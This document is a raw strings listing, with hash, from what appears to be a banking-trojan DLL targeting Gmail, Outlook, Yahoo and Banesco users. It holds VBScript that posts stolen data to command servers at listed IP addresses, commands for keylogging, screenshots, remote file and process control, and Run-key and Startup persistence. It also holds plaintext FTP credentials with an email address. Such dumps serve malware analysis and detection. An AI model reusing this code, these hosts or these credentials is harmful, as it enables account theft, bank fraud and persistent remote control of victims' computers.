_rcqwap_box.dll

Name: _rcqwap_box.dll
SHA256: F5E71B8BB52A21A0E4D23DD25FE43ECC7DCAADF9E4F84C7CA676BADF32173CD9

start.cfg
configz.zip
open
Uconfini.bat
Uconfini.txt
capivara.exe
8192
192.168.1.3
is-gmail
gmail
Email
<|>
MSScriptControl.ScriptControl
VBScript
host = "
port = "
cmd="
information="
set httpobj = createobject("msxml2.xmlhttp")
function post (cmd ,param)
on error resume next
post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function
response = ""
response = post ("is-gmail","")
vai fechar
Off-line
is-testando
Passwd
usuario:
Senha:
c:\gmail.com.txt
[Click]
bckimg\BP\
foto
.jpg
c:\outlookUrl.txt
accounts/Logout
loginP.jsp
c:\img\gaiola10.txt
blacklist.cfg
is-outlista
lista.txt
lista extraida com sucesso!
AuthUser:
AuthUser: "
https://people.live.com/export?canary=
200.98.145.213
is-outlook
outlook
response = post ("is-outlook","")
offline2
ok pessoal!
kkk
loginfmt
c:\outllok.com.txt
SP=
https://people.live.com/
login.live.com/logout.srf?
offline1
IB.cfg
Banesco Panam
bckimg\gmail\
env_gmail.zip
block_gmail.win
c:\img\links.txt
_gmail
.zip
dd_mm_yyyy
hh_mm_ss
_BP2.zip
/HOME/infos/bp/
bckimg
\gmail
bloqueado
Restore
minimizado
Chrome_RenderWidgetHostHWND
MozillaWindowClass
Chrome_WidgetWin_1
_bP
Google Chrome
Icon_gc
Icon_gc.ico
-------------------------------------
Browser :
URL :
Data/Hora :
trustee Instalado:
http://outlook.com/
https://accounts.google.com/AddSession?
sacu=1&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&hl=pt-BR&service=mail
Internet Explorer
Internet Explorer_Server
https://accounts.google.com/AddSession
?sacu=1&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&hl=pt-BR&service=mail
Mozilla Firefox
https://accounts.google.com/AddSession?sacu=
1&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&hl=pt-BR&service=mail
bckimg\look\
foto_TEXTO_
dd-mm-yy-hh
.txt
foto_infopc.txt
env_look.zip
block_look.win
_look
\look
Iniciar sesi
Registrarse
Enter
Sign In
Entrar
IEFrame
Frame Tab
TabWindowClass
Shell DocObject View
_Yahoo.zip
/HOME/emails/Yahoo/
email\Yahoo\
_Yahoo
\Yahoo
Iniciar sesi
n en Yahoo
Sign in to Yahoo
Yahoo - Inicio de sesi
internetbanking.cfg
 - Google Chrome
Icon_ie
Icon_ie.ico
 - Internet Explorer
Icon_ff
Icon_ff.ico
 - Mozilla Firefox
https://es.mail.yahoo.com/
email_TEXTO_
set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.CreateTextFile("c:\bundadecachorro.txt", True, False)
ts.Write
ts.close
Scripting.Encoder
.vbs
set shellobj = createobject("wscript.shell")
startup = shellobj.specialfolders ("startup") & "\"
pcname = shellobj.expandenvironmentstrings("%computername%") & "_"
username = shellobj.expandenvironmentstrings("%username%")
startup
pcname
username
Set objShell = CreateObject("WScript.Shell")
set filesystemobj = createobject("scripting.filesystemobject")
rundll = "PowerShell Start-Process rundll32.exe " &
 & chr(44) & "boxProc" & chr(34)
if filesystemobj.fileexists (
) then
objShell.run(rundll),0
End If
_box.vbe
configs_pc.yxz
dd/mm/yyyy
True
connex.win
NEWPRINT
MOUSE
novoteclado
PASTE
BACKSPACE
TAB
VK_DOWN
VK_UP
VK_DELETE
VK_SPACE
VK_ESCAPE
<|Drivers|>
<<|Drivers|>>
<|FileManager|>
<<|FileManager|>>
TESTAPASTAS
TESTAFILES
<|DownloadFile|>
<<|
FAZDOWNLOAD
<|UploadFile|>
SUCESSOUPLOAD
ATIVARNAVEGADOR
NAVEGADORCLOSE
<|AbrirFile|>
<|DeleteFile|>
LISTARPROCESS
ABREPROCESS
frm_navprinc
FECHARPROCESS
ESCONDERROCESS
AJUSTARPROCESS
MAXIMIZARPROCESS
EXECUTARPROCESS
DOWNBOFISICA
bckimg\bo\
env_bo_fis.zip
Wscript.Shell
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
1979
rundll32.exe shell32.dll,Control_RunDLL
REG_SZ
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
rundll32.exe "
,dlgProc
GETPROCESS
PRINT
<|INFO|>
env_bo_emp.zip
env_bp.zip
ulogs_0015.cfg
http://bit.ly/1aOYgU7
Trusteer
<|BOFUPLOADFILE|>
200.98.69.192
<|BOUPLOADFILE|>
<|BPUPLOADFILE|>
Mensagem da p
gina da web
Progman
.dll
1234
pablo.bermudez.venez@hotmail.com
12345.diablomarico
ftp.box.com
RapportService.exe
SIM
form1 :
Socket Error